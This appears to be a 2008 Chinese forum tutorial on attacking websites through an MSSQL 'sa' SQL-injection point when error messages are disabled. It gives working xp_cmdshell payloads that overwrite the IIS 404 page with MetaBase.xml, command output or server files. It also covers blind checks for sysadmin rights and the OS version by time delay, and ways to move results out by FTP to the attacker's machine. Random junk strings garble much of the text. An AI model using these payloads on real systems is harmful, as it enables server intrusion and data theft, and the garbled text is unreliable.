遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
/ [) O2 `5 K& ?
# n1 z. e! G1 u 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。 ^$ Z) Q, Q5 N6 O: X% g+ H
}5 }$ A: @* s/ m# ?7 S6 l
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
+ |; o: P, R0 {9 M! w
* P: v. [$ `6 P- s3 G( }7 \ IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm6 y% P9 `+ N' V4 ?3 t9 T4 u
8 l: j9 r5 Z6 Z/ f$ ^
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--& K ~0 |7 r" g- N7 w
# Q2 x; q; L# D/ a; r% J; x
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。- ?9 u& Y* ^7 m% O3 U1 {- Y4 @
( i4 S1 j( Q7 T; Y 执行命令得到回显
; R. Y$ H8 C! W- |
& A5 u! r. J2 c& u 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--3 `- U6 \+ H. E+ h- [
4 g" ~" K2 Q+ W' M
得到文件也shi相同,把文件copy到404b.htm就行了
1 n4 O8 j' i1 T ?' }6 R; |! l! A/ c) V" {1 z/ t6 @
by 28ice, 2008/6/26
5 ~# n" f1 ]7 h' E! P- m8 A5 l, }( x) T9 t0 r
摘自 28度的冰
6 m3 y& H1 r$ T* S
+ N) ~( U! c5 r5 |$ T 盲注判断权限和操作系统版本0 N, S3 _9 B: |5 R9 s$ V' {
4 c! O A& V# L% m: q 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢? a' s" C9 d9 y: L: ~, G
# m" }' G5 ~- I: K9 E+ ] 最简单的,可能以用这样的方法:
8 z- E6 x$ m* B9 U
; n E. R! F, B2 G7 j. m% e; \0 C 1=(select IS_SRVROLEMEMBER(’sysadmin’))7 o o1 `# L6 q' V' c/ U* @
' g7 K5 S, g1 P# b# R" v 当然,有些情况下,这个方法并不奏效。
+ i: i+ v2 _- K/ V& [1 R F' O ?- F9 n4 [0 B( k! Y/ p0 o+ g d
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。8 Z" L; d8 i% z2 [! J
+ G5 G; e+ c% z c0 F% z$ `9 F& w7 a 有个3办法可能以解决这个问题1 l P, n3 d8 a& O' x* p- ~4 D
' g, \/ L& I6 e7 Y+ s; S6 S
a.把执行结果写到404b.htm,具体请看我的上一篇文章4 E5 @9 T, T* M
, e& x0 H5 G. r( S: D b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
3 n; L+ `# Z( o' R `0 u. @6 N* l( E* n0 Q# I
c.如果1433端口可能以连接,那干脆新建个sql登录
7 f$ Y3 U+ a1 P4 Z3 G7 E% O F' r9 I( @" \! G3 f7 n y
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数1 }. q' }+ v. d" z' {1 b
6 N& {) ? L; ?8 H' H$ Z2 F 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下# w' N4 W" @' ]# A5 G( g+ `
7 g, t8 ~- B7 a6 ~% r* w 很简单
# g3 m( g6 C: r8 P& G( f
2 d1 n% \$ I# g6 p 执行systeminfo' ~( L4 ?& A, O- U R9 U
1 N Z5 A6 R3 ]7 l6 S 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |